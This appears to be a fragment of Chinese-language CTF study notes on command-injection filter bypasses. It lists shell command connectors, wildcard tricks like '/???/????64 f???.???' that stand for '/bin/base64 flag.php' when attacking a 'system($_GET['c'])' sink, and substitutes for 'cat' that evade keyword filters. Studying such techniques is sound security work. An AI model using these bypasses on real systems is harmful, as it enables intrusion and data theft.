二、命令执行
2.6 正则
正则表达式 – 语法 | 菜鸟教程
2.7 常用的绕过姿势
2.7.1 常用符号
a.命令连接符
cmd1 | cmd2
只执行
cmd2
|
cmd1 || cmd2
只有当
cmd1
执行失败后,
cmd2
才被执行
|
cmd1 & cmd2
先执行
cmd1
,不管是否成功,都会执行
cmd2
|
cmd1 && cmd2
先执行
cmd1
,只有
cmd1
执行成功后才执行
cmd2
,否则不执行
cmd2
|
cmd1 ; cmd2
按顺序依次执行,先执行
cmd1
再执行
cmd2
|
b.通配符
例⼦:遇到system($_GET['c']);,则c可以传参
/???/?s --help
|
#
可代表
/bin/ls --help
|
/???/????64 f???.???
|
#
可代表
/bin/base64 flag.php:base64
编码
flag.php
的内容。
|
/???/?[a][t] ?''?''?''?''
|
#
可代表
/usr/bin/bzip2 flag.php:
将
flag.php
文件进行压缩,然后再将其下载。
|
/???/?at ????
|
#
可代表
/bin/cat: test:
|
/???/?[a]''[t] ?''?''?''?''
|
2.7.2 cat 绕过
more
|
一页一页的显示档案内容
|
less
|
与
more
类似,但是比
more
更好的是,他可以
[pg dn][pg up]
翻页
|
head
|
查看头几行 |
tac
|
从最后一行开始显示,可以看出
tac
是
cat
的反向显示
|
tail
|
查看尾几行 |
nl
|
显示的时候,顺便输出行号 |
od
|
以二进制的方式读取档案内容 |
vi
|
一种编辑器,可以查看 |
vim |
一种编辑器,可以查看 |
sort |
可以查看 |
uniq |
可以查看 |
file-f
|
报错出具体内容 |
sed
|
一种编辑器,可以查看 |
grep
|
在当前目录中,查找后缀有
file
字样的文件中包含
test
字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file、strings
|